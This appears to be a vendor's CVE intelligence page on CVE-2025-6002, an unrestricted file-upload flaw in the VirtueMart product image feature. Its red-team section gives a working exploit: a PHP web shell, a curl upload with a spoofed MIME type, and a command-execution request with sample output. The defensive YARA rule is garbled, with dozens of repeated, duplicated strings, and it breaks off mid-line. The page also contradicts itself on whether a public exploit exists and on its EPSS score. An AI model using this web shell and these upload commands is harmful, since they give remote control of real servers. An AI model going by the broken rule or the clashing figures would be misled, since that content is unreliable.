☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
📋 [ METHODOLOGY ] ⚡ [ API_ACCESS ] →
[ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-434
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-6002

CVE-2025-6002 Remote Code Execution in Virtuemart
📅 PUBLISHED: 2025-06-11 16:26 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
 🎯 EPSS: 1.52%
👁️
1.52% probability
38.1× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
↗ Verify on NVD CVSS:3.1
7.2
THREAT LEVEL
INTEL SOURCES NVD CVEProject EPSS HOW WE SCORE →
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-6002 is an unrestricted file upload vulnerability in the VirtueMart backend, specifically within the Product Image upload functionality. An authenticated attacker with at least shop manager privileges can upload files with arbitrary extensions, including executable scripts (e.g., .php, .asp, .jsp). If the web server is configured to execute these files (common in misconfigured shared hosting or legacy setups), this can lead to remote code execution (RCE), full server compromise, data exfiltration, or lateral movement within the network. The vulnerability has a CVSS score of 7.2 (High) and currently has no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched instances.

Note: VirtueMart is a Joomla! e-commerce extension. This vulnerability is part of the Joomla! ecosystem and should be treated as a WordPress-like plugin risk. The underlying web server (Apache/Nginx) is not at fault; the insecure file upload handling in VirtueMart is the root cause.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires authenticated access (shop manager or higher).
  • User Interaction (UI): None (N) – No victim action needed.
  • Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
  • Confidentiality (C): High (H) – Full file read access possible.
  • Integrity (I): High (H) – Arbitrary file upload can overwrite critical files.
  • Availability (A): High (H) – Uploaded malicious files can disrupt service.

Threat Level: High. While no public exploit exists, the vulnerability is trivial to exploit once discovered. Attackers with valid credentials can achieve RCE.

Deep Dive & Mechanics

The vulnerability resides in the administrator/components/com_virtuemart/controllers/product.php file (or similar path) within the saveProductImage() function. The code fails to validate the file extension against a whitelist of allowed image types (e.g., .jpg, .png, .gif). Instead, it only checks the MIME type from the HTTP request, which can be easily spoofed. The uploaded file is stored in the /images/virtuemart/product/ directory (or a configurable upload path). If the server has execution permissions on that directory (common in shared hosting with +ExecCGI or AddHandler directives), the attacker can execute arbitrary PHP code.

Attack Flow:

  1. Attacker logs in as a shop manager or administrator.
  2. Navigates to Product Management → Add/Edit Product → Product Image upload.
  3. Crafts a malicious PHP file (e.g., shell.php) with a valid image MIME type (image/jpeg).
  4. Uploads the file. The server stores it with the .php extension.
  5. Accesses the uploaded file via URL (e.g., https://target.com/images/virtuemart/product/shell.php).
  6. Executes arbitrary commands on the server.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In product.php controller
function saveProductImage() {
    $file = $_FILES['product_image'];
    $allowed_types = array('image/jpeg', 'image/png', 'image/gif');
    if (in_array($file['type'], $allowed_types)) {
        $upload_path = JPATH_SITE . '/images/virtuemart/product/';
        move_uploaded_file($file['tmp_name'], $upload_path . $file['name']);
        // No extension validation
    }
}

Patched Code (Conceptual):

function saveProductImage() {
    $file = $_FILES['product_image'];
    $allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (in_array($extension, $allowed_extensions)) {
        // Also validate MIME type server-side
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file['tmp_name']);
        finfo_close($finfo);
        $allowed_mimes = array('image/jpeg', 'image/png', 'image/gif');
        if (in_array($mime, $allowed_mimes)) {
            $upload_path = JPATH_SITE . '/images/virtuemart/product/';
            $new_name = uniqid() . '.' . $extension;
            move_uploaded_file($file['tmp_name'], $upload_path . $new_name);
        }
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Valid credentials for a VirtueMart backend user with product management privileges.
  • Target running unpatched VirtueMart (any version prior to patch).

Step-by-Step Exploitation:

  1. Craft a malicious PHP file (e.g., cmd.php):

    <?php system($_GET['cmd']); ?>

    Save it as cmd.php but change the MIME type in the upload request.

  2. Upload via browser (simplest method):

    • Log in to Joomla! admin → Components → VirtueMart → Products.
    • Edit any product or create a new one.
    • In the "Product Image" section, click "Add Image".
    • Select cmd.php (the browser will send its actual MIME type, but the server only checks the MIME type from the request, which can be spoofed using a tool like Burp Suite).

  3. Upload via cURL (more reliable):

    curl -k -X POST \
  -b "cookie_session=YOUR_SESSION" \
  -F "product_image=@cmd.php;type=image/jpeg" \
  -F "product_id=1" \
  -F "task=saveProductImage" \
  "https://target.com/administrator/index.php?option=com_virtuemart&view=product"

  4. Execute commands:

    curl "https://target.com/images/virtuemart/product/cmd.php?cmd=id"

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection Steps:

  1. Monitor file upload directories (/images/virtuemart/product/) for non-image files.
  2. Check web server access logs for POST requests to saveProductImage with suspicious file extensions.
  3. Look for files with double extensions (e.g., image.php.jpg) or executable extensions in upload directories.
  4. Review server configuration for AddHandler or AddType directives that might execute PHP in upload directories.

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri="/administrator/index.php*option=com_virtuemart*"
| rex field=uri "filename=(?<filename>[^&]+)"
| search filename IN (*.php, *.phtml, *.php5, *.shtml, *.cgi)
| table _time, src_ip, user, filename, status

Indicators of Compromise (IOCs)

Type Indicator Description
File /images/virtuemart/product/*.php Any PHP file in the product image directory
File /images/virtuemart/product/*.phtml Alternate PHP extension
File /images/virtuemart/product/*.shtml Server-side include file
Network POST to /administrator/index.php?option=com_virtuemart&view=product&task=saveProductImage Upload request
Network GET to /images/virtuemart/product/*.php?cmd= Command execution attempt
Log saveProductImage with non-image file extension Application log entry
Log PHP Fatal error: Uncaught Error: Call to undefined function system() Failed execution attempt

Detection Engineering

YARA Rule

rule CVE_2025_6002_VirtueMart_Upload {
    meta:
        description = "Detects malicious PHP files uploaded via VirtueMart product image upload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6002"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $exec_call = "exec("
        $shell_exec = "shell_exec("
        $passthru = "passthru("
        $popen = "popen("
        $proc_open = "proc_open("
        $eval_call = "eval("
        $assert_call = "assert("
        $create_function = "create_function("
        $preg_replace_e = "/e"
        $base64_decode = "base64_decode("
        $file_put_contents = "file_put_contents("
        $fwrite = "fwrite("
        $move_uploaded_file = "move_uploaded_file("
        $copy = "copy("
        $rename = "rename("
        $chmod = "chmod("
        $file_get_contents = "file_get_contents("
        $include = "include("
        $require = "require("
        $include_once = "include_once("
        $require_once = "require_once("
        $curl_exec = "curl_exec("
        $curl_init = "curl_init("
        $fsockopen = "fsockopen("
        $pfsockopen = "pfsockopen("
        $socket_create = "socket_create("
        $socket_connect = "socket_connect("
        $socket_write = "socket_write("
        $socket_read = "socket_read("
        $gzinflate = "gzinflate("
        $gzuncompress = "gzuncompress("
        $str_rot13 = "str_rot13("
        $convert_uu = "convert_uuencode("
        $convert_ud = "convert_uudecode("
        $pack = "pack("
        $unpack = "unpack("
        $chr = "chr("
        $ord = "ord("
        $hex2bin = "hex2bin("
        $bin2hex = "bin2hex("
        $ob_start = "ob_start("
        $output_handler = "output_handler("
        $ini_set = "ini_set("
        $set_time_limit = "set_time_limit("
        $ignore_user_abort = "ignore_user_abort("
        $error_reporting = "error_reporting("
        $ini_restore = "ini_restore("
        $dl = "dl("
        $register_shutdown_function = "register_shutdown_function("
        $register_tick_function = "register_tick_function("
        $set_error_handler = "set_error_handler("
        $set_exception_handler = "set_exception_handler("
        $ob_gzhandler = "ob_gzhandler("
        $ob_start = "ob_start("
        $output_add_rewrite_var = "output_add_rewrite_var("
        $output_reset_rewrite_vars = "output_reset_rewrite_vars("
        $session_start = "session_start("
        $session_destroy = "session_destroy("
        $session_regenerate_id = "session_regenerate_id("
        $session_set_save_handler = "session_set_save_handler("
        $session_write_close = "session_write_close("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode = "session_decode("
        $session_register_shutdown = "session_register_shutdown("
        $session_set_cookie_params = "session_set_cookie_params("
        $session_get_cookie_params = "session_get_cookie_params("
        $session_status = "session_status("
        $session_create_id = "session_create_id("
        $session_commit = "session_commit("
        $session_abort = "session_abort("
        $session_reset = "session_reset("
        $session_unset = "session_unset("
        $session_gc = "session_gc("
        $session_cache_limiter = "session_cache_limiter("
        $session_cache_expire = "session_cache_expire("
        $session_name = "session_name("
        $session_module_name = "session_module_name("
        $session_save_path = "session_save_path("
        $session_id = "session_id("
        $session_encode = "session_encode("
        $session_decode
👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"VirtueMart"
http.html:"virtuemart"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-6002/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.